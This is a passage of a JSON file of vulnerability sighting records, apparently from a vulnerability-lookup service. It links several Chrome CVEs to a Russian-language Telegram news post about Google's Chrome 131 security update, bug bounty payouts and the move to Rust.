\u043f\u044f\u0442\u044c \u043b\u0435\u0442, \u0438 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0435 \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u044f \u043e\u0436\u0438\u0434\u0430\u044e\u0442\u0441\u044f \u0438 \u0432 Chrome, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 Google \u0442\u0430\u043a\u0436\u0435\u00a0\u043f\u0435\u0440\u0435\u0432\u0435\u0434\u0435\u0442\u00a0\u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u043d\u0430 Rust.", "creation_timestamp": "2024-12-19T17:00:07.000000Z"}, {"uuid": "731b1b08-6b41-485d-a86e-fa069eb7dc17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12694", "type": "seen", "source": "https://t.me/true_secator/6560", "content": "Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 Chrome 131 \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0442\u0440\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0434\u0432\u0438\u0436\u043e\u043a JavaScript V8.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u0438\u0437 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2024-12692, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0443 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0442\u0438\u043f\u043e\u0432 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 JavaScript V8 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430, \u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u0443\u044e Google \u0432\u044b\u043f\u043b\u0430\u0442\u0438\u043b\u0430 55 000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0441\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0435\u043c\u0443 \u043e \u043d\u0435\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0430\u0445 \u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f, \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0442\u0430\u043a\u043e\u043c \u0440\u0430\u0437\u043c\u0435\u0440\u0435 \u043e\u0431\u044b\u0447\u043d\u043e \u0432\u044b\u043f\u043b\u0430\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0437\u0430 \u0434\u0435\u0444\u0435\u043a\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 (RCE).\n\n\u0412\u0442\u043e\u0440\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u043e\u0441\u044c \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 BugBounty, - \u044d\u0442\u043e \u0434\u0440\u0443\u0433\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 V8.\n\n\u041e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2024-12693 \u0438 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u0430\u044f \u043a\u0430\u043a \u043e\u0448\u0438\u0431\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0435\u0435 \u0433\u0440\u0430\u043d\u0438\u0446, \u043f\u0440\u0438\u043d\u0435\u0441\u043b\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e, \u0441\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0435\u043c\u0443 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0435, \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0440\u0430\u0437\u043c\u0435\u0440\u0435 20\u00a0000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0421\u0428\u0410.\n\n\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 CVE-2024-12694, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 Compositing, \u0438 CVE-2024-12695, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 V8. \u0412\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043e.\n\n\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0432\u0435\u0440\u0441\u0438\u044f Chrome \u0442\u0435\u043f\u0435\u0440\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 131.0.6778.204/.205 \u0434\u043b\u044f Windows \u0438 macOS, \u0430 \u0442\u0430\u043a\u0436\u0435 - 131.0.6778.204 \u0434\u043b\u044f Linux.\n\nGoogle \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u043a\u0430\u043a\u0438\u0435-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\u0422\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e Google \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u043d\u044f\u043b\u0430 \u0440\u044f\u0434 \u0448\u0430\u0433\u043e\u0432 \u0434\u043b\u044f \u0437\u0430\u0442\u0440\u0443\u0434\u043d\u0435\u043d\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 Chrome, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u043d\u0432\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0432 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0442\u0430\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0435\u0439 \u043a\u043e\u0434\u043e\u0432\u043e\u0439 \u0431\u0430\u0437\u0435, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u043d\u0430 Rust.\n\n\u041f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430 Rust \u043f\u0440\u0438\u0432\u0435\u043b \u043a\u00a0\u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u043c\u0443 \u0441\u043d\u0438\u0436\u0435\u043d\u0438\u044e\u00a0\u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u043e\u0448\u0438\u0431\u043e\u043a \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 Android \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043f\u044f\u0442\u044c \u043b\u0435\u0442, \u0438 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0435 \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u044f \u043e\u0436\u0438\u0434\u0430\u044e\u0442\u0441\u044f \u0438 \u0432 Chrome, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 Google \u0442\u0430\u043a\u0436\u0435\u00a0\u043f\u0435\u0440\u0435\u0432\u0435\u0434\u0435\u0442\u00a0\u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u043d\u0430 Rust.", "creation_timestamp": "2024-12-19T17:00:07.000000Z"}, {"uuid": "e0deb9e5-ca04-45f3-82ee-78bc02c4da9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12692", "type": "seen", "source": "https://t.me/true_secator/6560", "content": "Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 Chrome 131 \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0442\u0440\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0434\u0432\u0438\u0436\u043e\u043a JavaScript V8.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u0438\u0437 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2024-12692, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0443 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0442\u0438\u043f\u043e\u0432 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 JavaScript V8 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430, \u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u0443\u044e Google \u0432\u044b\u043f\u043b\u0430\u0442\u0438\u043b\u0430 55 000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0441\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0435\u043c\u0443 \u043e \u043d\u0435\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0430\u0445 \u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f, \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0442\u0430\u043a\u043e\u043c \u0440\u0430\u0437\u043c\u0435\u0440\u0435 \u043e\u0431\u044b\u0447\u043d\u043e \u0432\u044b\u043f\u043b\u0430\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0437\u0430 \u0434\u0435\u0444\u0435\u043a\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 (RCE).\n\n\u0412\u0442\u043e\u0440\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u043e\u0441\u044c \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 BugBounty, - \u044d\u0442\u043e \u0434\u0440\u0443\u0433\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 V8.\n\n\u041e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2024-12693 \u0438 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u0430\u044f \u043a\u0430\u043a \u043e\u0448\u0438\u0431\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0435\u0435 \u0433\u0440\u0430\u043d\u0438\u0446, \u043f\u0440\u0438\u043d\u0435\u0441\u043b\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e, \u0441\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0435\u043c\u0443 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0435, \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0440\u0430\u0437\u043c\u0435\u0440\u0435 20\u00a0000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0421\u0428\u0410.\n\n\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 CVE-2024-12694, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 Compositing, \u0438 CVE-2024-12695, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 V8. \u0412\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043e.\n\n\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0432\u0435\u0440\u0441\u0438\u044f Chrome \u0442\u0435\u043f\u0435\u0440\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 131.0.6778.204/.205 \u0434\u043b\u044f Windows \u0438 macOS, \u0430 \u0442\u0430\u043a\u0436\u0435 - 131.0.6778.204 \u0434\u043b\u044f Linux.\n\nGoogle \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u043a\u0430\u043a\u0438\u0435-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\u0422\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e Google \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u043d\u044f\u043b\u0430 \u0440\u044f\u0434 \u0448\u0430\u0433\u043e\u0432 \u0434\u043b\u044f \u0437\u0430\u0442\u0440\u0443\u0434\u043d\u0435\u043d\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 Chrome, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u043d\u0432\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0432 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0442\u0430\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0435\u0439 \u043a\u043e\u0434\u043e\u0432\u043e\u0439 \u0431\u0430\u0437\u0435, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u043d\u0430 Rust.\n\n\u041f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430 Rust \u043f\u0440\u0438\u0432\u0435\u043b \u043a\u00a0\u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u043c\u0443 \u0441\u043d\u0438\u0436\u0435\u043d\u0438\u044e\u00a0\u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u043e\u0448\u0438\u0431\u043e\u043a \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 Android \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043f\u044f\u0442\u044c \u043b\u0435\u0442, \u0438 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0435 \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u044f \u043e\u0436\u0438\u0434\u0430\u044e\u0442\u0441\u044f \u0438 \u0432 Chrome, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 Google \u0442\u0430\u043a\u0436\u0435\u00a0\u043f\u0435\u0440\u0435\u0432\u0435\u0434\u0435\u0442\u00a0\u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u043d\u0430 Rust.", "creation_timestamp": "2024-12-19T17:00:07.000000Z"}, {"uuid": "6a5e694d-958e-49d9-87fa-965a3623f123", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12695", "type": "seen", "source": "https://t.me/true_secator/6560", "content": "Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 Chrome 131 \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0442\u0440\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0434\u0432\u0438\u0436\u043e\u043a JavaScript V8.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u0438\u0437 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2024-12692, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0443 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0442\u0438\u043f\u043e\u0432 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 JavaScript V8 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430, \u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u0443\u044e Google \u0432\u044b\u043f\u043b\u0430\u0442\u0438\u043b\u0430 55 000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0441\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0435\u043c\u0443 \u043e \u043d\u0435\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0430\u0445 \u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f, \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0442\u0430\u043a\u043e\u043c \u0440\u0430\u0437\u043c\u0435\u0440\u0435 \u043e\u0431\u044b\u0447\u043d\u043e \u0432\u044b\u043f\u043b\u0430\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0437\u0430 \u0434\u0435\u0444\u0435\u043a\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 (RCE).\n\n\u0412\u0442\u043e\u0440\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u043e\u0441\u044c \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 BugBounty, - \u044d\u0442\u043e \u0434\u0440\u0443\u0433\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 V8.\n\n\u041e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2024-12693 \u0438 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u0430\u044f \u043a\u0430\u043a \u043e\u0448\u0438\u0431\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0435\u0435 \u0433\u0440\u0430\u043d\u0438\u0446, \u043f\u0440\u0438\u043d\u0435\u0441\u043b\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e, \u0441\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0435\u043c\u0443 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0435, \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0440\u0430\u0437\u043c\u0435\u0440\u0435 20\u00a0000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0421\u0428\u0410.\n\n\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 CVE-2024-12694, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 Compositing, \u0438 CVE-2024-12695, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 V8. \u0412\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e\u043a\u0430 \u043d\u0435 